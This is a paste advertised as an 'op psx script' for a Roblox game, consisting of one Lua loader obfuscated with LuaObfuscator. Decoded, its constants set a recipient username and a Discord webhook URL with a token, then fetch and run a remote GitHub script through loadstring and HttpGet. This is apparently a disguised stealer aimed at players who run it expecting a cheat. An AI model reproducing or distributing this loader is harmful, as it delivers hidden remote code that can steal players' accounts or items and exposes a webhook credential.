LUA   32
op psx script 2023
Guest on 6th February 2023 11:29:20 PM


  1. --[[
  2.  .____                  ________ ___.    _____                           __                
  3.  |    |    __ _______   \_____  \\_ |___/ ____\_ __  ______ ____ _____ _/  |_  ___________
  4.  |    |   |  |  \__  \   /   |   \| __ \   __\  |  \/  ___// ___\\__  \\   __\/  _ \_  __ \
  5.  |    |___|  |  // __ \_/    |    \ \_\ \  | |  |  /\___ \\  \___ / __ \|  | (  <_> )  | \/
  6.  |_______ \____/(____  /\_______  /___  /__| |____//____  >\___  >____  /__|  \____/|__|  
  7.          \/          \/         \/    \/                \/     \/     \/                  
  8.           \_Welcome to LuaObfuscator.com   (Alpha 0.2.2) ~  Much Love, Ferib
  9.  
  10. ]]--
  11.  
  12. do local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack;local v14=tonumber;local function v15(v16,v17,...)local v18=1;local v19;v16=v4(v3(v16,5),"..",function(v20)if (v1(v20,2)==79) then local v73=0;while true do if (v73==0) then v19=v0(v3(v20,1,1));return "";end end else local v74=v2(v0(v20,16));if v19 then local v77=v5(v74,v19);v19=nil;return v77;else return v74;end end end);local function v21(v22,v23,v24)if v24 then local v75=(v22/((3 -1)^(v23-(1 + 0))))%((2 + (882 -(621 + 261)))^(((v24-(1038 -(798 + 239))) -(v23-(1388 -(659 + (3200 -2472))))) + 1 + 0));return v75-(v75%(1529 -(493 + 1035)));else local v76=2^(v23-(1 + 0));return (((v22%(v76 + v76))>=v76) and 1) or (0 -(0 + 0));end end local function v25()local v38=v1(v16,v18,v18);v18=v18 + 1;return v38;end local function v26()local v39,v40=v1(v16,v18,v18 + 2);v18=v18 + 2 + 0;return (v40 * (2074 -(1404 + 414))) + v39;end local function v27()local v41,v42,v43,v44=v1(v16,v18,v18 + (753 -(512 + 238)));v18=v18 + 1 + 3;return (v44 * (20329841 -3552625)) + (v43 * 65536) + (v42 * (754 -((2045 -(1040 + 739)) + 232))) + v41;end local function v28()local v45=0 -0;local v46;local v47;local v48;local v49;local v50;local v51;while true do if (v45==(2 -(1363 -(1151 + 211)))) then v48=1 + 0;v49=(v21(v47,1,9 + 11) * ((1588 -(137 + 1449))^(3 + 29))) + v46;v45=1557 -(628 + 927);end if (v45==(6 -3)) then if (v50==(0 + 0)) then if (v49==((1951 + 15) -(1396 + 570))) then return v51 * ((186 -(91 + 95)) -0);else local v93=0;while true do if (v93==(0 -(0 + 0))) then v50=1 + 0;v48=1876 -(980 + 896);break;end end end elseif (v50==(1466 + 581)) then return ((v49==(0 + (0 -0))) and (v51 * ((1 + 0)/(0 -(1064 -(498 + 566)))))) or (v51 * NaN);end return v8(v51,v50-(794 + 229)) * (v48 + (v49/(2^(28 + 24))));end if (v45==(1899 -(624 + 1035 + 240))) then v46=v27();v47=v27();v45=1;end if ((4 -2)==v45) then v50=v21(v47,61 -40,3 + 28);v51=((v21(v47,20 + 12)==(3 -2)) and  -(3 -2)) or (1977 -(1855 + 121));v45=3;end end end local function v29(v30)local v52;if  not v30 then v30=v27();if (v30==(0 -0)) then return "";end end v52=v3(v16,v18,(v18 + v30) -(2 -1));v18=v18 + v30;local v53={};for v65=1 + 0, #v52 do v53[v65]=v2(v1(v3(v52,v65,v65)));end return v6(v53);end local v31=v27;local function v32(...)return {...},v12("#",...);end local function v33()local v54=444 -(26 + 418);local v55;local v56;local v57;local v58;local v59;local v60;local v61;while true do if (v54~=1) then else v57=nil;v58=nil;v54=2;end if (v54==3) then v61=nil;while true do local v78=1125 -(270 + 855);while true do if (1~=v78) then else if ((2 + 1)==v55) then for v101=1,v27() do v57[v101-(1 + 0)]=v33();end for v103=2 -1,v27() do v58[v103]=v27();end return v59;end if (v55~=(1 + 0)) then else local v98=1407 -(464 + 943);while true do if (v98==1) then v61={};v55=5 -3;break;end if (v98~=(0 -0)) then else v59={v56,v57,nil,v58};v60=v27();v98=1 + 0;end end end break;end if (v78~=(0 -0)) then else if (v55==(2 + 0)) then local v99=887 -(586 + 301);while true do if (v99==(0 -0)) then local v105=0;while true do if (v105==1) then v99=2 -1;break;end if (v105~=0) then else for v116=1,v60 do local v117=0;local v118;local v119;local v120;local v121;while true do if (v117~=(913 -(322 + 590))) then else v120=nil;v121=nil;v117=5 -3;end if (v117~=(1990 -(1413 + 577))) then else v118=0;v119=nil;v117=4 -3;end if (v117==2) then while true do if (v118==0) then local v151=1490 -(1479 + 11);while true do if (v151==(0 + 0)) then v119=0;v120=nil;v151=79 -(51 + 27);end if (v151==1) then v118=1;break;end end end if (v118==(1379 -(236 + 1142))) then v121=nil;while true do if (1~=v119) then else if (v120==(1 + 0)) then v121=v25()~=0;elseif (v120==2) then v121=v28();elseif (v120==(1 + 2)) then v121=v29();end v61[v116]=v121;break;end if (v119==0) then local v164=0;while true do if (v164==(1 + 0)) then v119=958 -(747 + 210);break;end if (v164==(795 -(282 + 513))) then local v172=0 -0;while true do if (v172~=1) then else v164=1;break;end if (0==v172) then v120=v25();v121=nil;v172=82 -(57 + 24);end end end end end end break;end end break;end end end v59[5 -2]=v25();v105=1;end end end if (v99==1) then for v108=1,v27() do local v109=0 -0;local v110;local v111;while true do if (v109==(673 -(206 + 467))) then v110=0;v111=nil;v109=1;end if (v109~=1) then else while true do if (v110==0) then v111=v25();if (v21(v111,1 + 0,1)~=(1636 -(1527 + 109))) then else local v144=0;local v145;local v146;local v147;while true do if (v144==3) then if (v21(v146,3 + 0,8 -5)==1) then v147[3 + 1]=v61[v147[4]];end v56[v108]=v147;break;end if (v144~=0) then else local v160=0;while true do if (v160==1) then v144=1 -0;break;end if (v160~=(0 -0)) then else v145=v21(v111,3 -1,3);v146=v21(v111,26 -(10 + 12),6);v160=3 -2;end end end if (v144==(2 -1)) then local v161=0 -0;while true do if (v161~=(0 + 0)) then else local v169=0;while true do if (v169==(318 -(198 + 120))) then v147={v26(),v26(),nil,nil};if (v145==0) then local v177=1714 -(1203 + 511);local v178;while true do if (v177~=0) then else v178=1148 -(1056 + 92);while true do if (v178==(0 -0)) then v147[5 -2]=v26();v147[123 -(102 + 17)]=v26();break;end end break;end end elseif (v145==1) then v147[3]=v27();elseif (v145==(2 + 0)) then v147[3 + 0]=v27() -((2 -0)^16);elseif (v145==(2 + 1)) then local v183=0 + 0;local v184;while true do if (v183~=0) then else v184=0 -0;while true do if ((0 + 0)~=v184) then else v147[3]=v27() -((2 -0)^16);v147[4]=v26();break;end end break;end end end v169=1;end if (v169==1) then v161=1;break;end end end if (v161==(1949 -(893 + 1055))) then v144=1 + 1;break;end end end if (v144==(1006 -(515 + 489))) then local v162=0 + 0;while true do if (v162==(1 -0)) then v144=1513 -(1034 + 476);break;end if (v162==0) then if (v21(v146,1,1)==(1 + 0)) then v147[2]=v61[v147[2]];end if (v21(v146,7 -5,1308 -(1211 + 95))~=1) then else v147[3]=v61[v147[3]];end v162=1;end end end end end break;end end break;end end end v55=3;break;end end end if (v55==0) then v56={};v57={};v58={};v55=3 -2;end v78=1 + 0;end end end break;end if ((1999 -(463 + 1534))~=v54) then else v59=nil;v60=nil;v54=1 + 2;end if (v54==(642 -(524 + 118))) then v55=0 + 0;v56=nil;v54=1 + 0;end end end local function v34(v35,v36,v37)local v62=v35[1];local v63=v35[2];local v64=v35[3];return function(...)local v67=0;local v68;local v69;local v70;local v71;local v72;while true do if (v67==2) then v72=nil;v72=function()local v79=v62;local v80=v63;local v81=v64;local v82=v32;local v83={};local v84={};local v85={};for v89=0 + 0,v71 do if (((22 + (2336 -(473 + 940)))>=((2320 -(74 + 59)) -1749)) and (v89>=v81)) then v83[v89-v81]=v70[v89 + 1];else v85[v89]=v70[v89 + 1];end end local v86=(v71-v81) + 1 + 0;local v87;local v88;while true do local v90=0;while true do if ((v90==1) or (3930==(5698 -(1371 + 293)))) then if ((v88<=(10 -(2 + 4))) or ((1323 -(3131 -2169))>=(2523 + (355 -140)))) then if ((v88<=((3 -2) + 0)) or (2098<(243 + 211))) then if ((v88>(0 -0)) or ((6261 -4373)<=(3221 -2309))) then v85[v87[2 + 0]][v87[281 -(227 + 51)]]=v87[3 + 1];else do return;end end elseif ((v88<=(359 -(228 + 129))) or (4899<(2879 -(621 + (1957 -1129))))) then v68=v87[5 -(5 -3)];elseif (((330 + 3425)>=(3306 -(293 + 1240))) and (v88>(169 -(63 + 103)))) then v85[v87[2 + 0]]=v87[(2 -1) + 2];else local v126=818 -(319 + 499);local v127;local v128;local v129;while true do if ((411==411) and ((0 -0)==v126)) then v127=0 + 0;v128=nil;v126=1 + 0;end if ((4581>(501 + 1846)) and (v126==((9 -6) -2))) then v129=nil;while true do if ((v127==(820 -(174 + (1876 -(1223 + 7))))) or (4390==((2133 + 3858) -(1002 + 906)))) then v128=v87[1 + 1];v129=v85[v87[(1882 -(7 + 1794)) -((128 -80) + 30)]];v127=(1132 -(110 + 1021)) + 0 + 0;end if ((v127==(2 -1)) or ((3139 -621)>=((12125 -(1104 + 327)) -7725))) then v85[v128 + (1929 -(1668 + 260))]=v129;v85[v128]=v129[v87[1 + 3]];break;end end break;end end end elseif ((v88<=(5 + 2)) or ((2969 -(58 + 72))>=(15111 -10955))) then if (((13185 -8425)==(3473 + 1287)) and (v88<=(19 -14))) then for v122=v87[1058 -((356 -(58 + 141)) + 899)],v87[(1328 -(140 + 1112)) -(37 + 36)] do v85[v122]=nil;end elseif ((v88==(3 + 3)) or (((23913 -14036) -6065)==(395 + 430))) then v85[v87[2]]=v37[v87[3]];else local v132=0;local v133;local v134;local v135;while true do if ((((2029 -1268) + (4489 -(429 + 1228)))>=(702 + 1596 + 1220)) and (v132==(1 -0))) then v135=nil;while true do if ((v133==(1 + 0)) or ((2747 + 1803)<(210 + 162))) then while true do if ((2522==(11310 -(9652 -(436 + 428)))) and (v134==0)) then v135=v87[1 + 1];v85[v135]=v85[v135](v13(v85,v135 + (2 -1),v69));break;end end break;end if ((v133==0) or ((224 -160)>=(3501 -(868 + 499)))) then local v157=596 -(354 + 242);while true do if (((3635 -(1277 + 236))>=(70 + 338)) and (v157==0)) then v134=1500 -(922 + 578);v135=nil;v157=1;end if (((1545 -(1104 + 440))==v157) or ((376 + 426)>=(1864 + 1090))) then v133=1 + 0;break;end end end end break;end if ((v132==(1963 -(834 + 419 + 710))) or ((7863 -4813)>4452)) then v133=0 + 0;v134=nil;v132=1;end end end elseif (((2549 -(428 + 637 + 297))<((7485 -2191) -2686)) and (v88<=(590 -(98 + (1647 -(434 + 729)))))) then if (((2173 + 849)>646) and (v85[v87[6 -4]]==v87[3 + (1 -0)])) then v68=v68 + (1 -(0 + 0));else v68=v87[225 -(219 + 3)];end elseif ((v88>(40 -(743 -(571 + 141)))) or (((774 + 3651) -(105 + 243))==(4020 -(5 + 42 + 873 + 110)))) then v85[v87[1463 -(700 + 761)]]();else local v137=0;local v138;local v139;local v140;local v141;while true do if ((1==v137) or ((677 -(56 + 80))>(12099 -7470))) then local v142=0;while true do if ((v142==(1937 -(1856 + 81))) or ((2185 -782)>=(9239 -4330))) then v69=(v140 + v138) -1;v141=0 + (132 -(5 + 127));v142=1;end if (((32 + (4934 -2610))<=(9935 -7275)) and (1==v142)) then v137=2 + 0;break;end end end if ((v137==(9 -7)) or ((2323 -(203 + 585))<(1259 + 143))) then for v148=v138,v69 do local v149=0 + 0;local v150;while true do if (((0 -(0 + 0))==v149) or ((554 -187)>(11813 -(9276 -(261 + 47))))) then v150=0 -0;while true do if (((3456 -(14 + 1173))>=(50 + 604)) and (v150==(0 -0))) then v141=v141 + (2 -1);v85[v148]=v139[v141];break;end end break;end end end break;end if ((v137==0) or ((664 -(90 + 160))>((4500 + 6237) -7339))) then local v143=0 + 0;while true do if ((v143==(1495 -(477 + 1017))) or ((4629 -(161 + 1674))<(137 + (2630 -(384 + 124))))) then v137=647 -(466 + 180);break;end if ((v143==(0 + (1166 -(955 + 211)))) or ((5922 -4142)>4120)) then v138=v87[3 -1];v139,v140=v82(v85[v138](v13(v85,v138 + 1 + (0 -0),v87[8 -5])));v143=1 + 0;end end end end end v68=v68 + (4 -(9 -6));break;end if ((2168>=(4113 -2187)) and ((0 -0)==v90)) then local v100=0 -0;while true do if ((v100==(1 + 0)) or (1263>1375)) then v90=2 -(1443 -(1073 + 369));break;end if (((2086 -(445 + (883 -(93 + 83))))<=(4176 -(34 + 563 + 132))) and ((0 -0)==v100)) then v87=v79[v68];v88=v87[(1192 + 30) -(486 + 735)];v100=1;end end end end end end;v67=3;end if (v67==3) then A,B=v32(v11(v72));if  not A[1] then local v91=0;local v92;while true do if (v91==0) then v92=v35[4][v68] or "?";error("Script error at ["   .. v92   .. "]:"   .. A[2]);break;end end else return v13(A,2,B);end break;end if (v67==1) then v70={...};v71=v12("#",...) -1;v67=2;end if (v67==0) then v68=1;v69= -1;v67=1;end end end;end return v34(v33(),{},v17)(...);end v15("LOL!0B3O00028O0003023O005F4703083O00557365726E616D6503093O00666F6669746F2O776E03073O00576562682O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F3130372O323833353831323437393334362O352F6E4F3366364E54376F44354E5935432D4364326B44437655665038326479392O4C4A64424F485A4E542D3930736378305073684F6C6D364F65394B6E414952683579717A026O00F03F030A3O006C6F6164737472696E6703043O0067616D6503073O00482O747047657403453O00682O7470733A2O2F7261772E67697468756275736572636F6E74656E742E636F6D2F4D724665617374457A2F5053582F6D61696E2F736372697074732F746573742E6C7561001A3O0012043O00014O0005000100013O0026083O0002000100010004023O00020001001204000100013O0026080001000C000100010004023O000C0001001206000200023O003001000200030004001206000200023O003001000200050006001204000100073O00260800010005000100070004023O00050001001206000200083O001206000300093O00200300030003000A0012040005000B4O0009000300054O000700023O00022O000A0002000100010004023O001900010004023O000500010004023O001900010004023O000200016O00017O001A3O00023O00033O00053O00053O00063O00083O00083O00093O00093O000A3O000A3O000B3O000D3O000D3O000E3O000E3O000E3O000E3O000E3O000E3O000E3O000F3O00103O00123O00133O00153O00",v9(),...);end

Raw Paste

Login or Register to edit or fork this paste. It's free.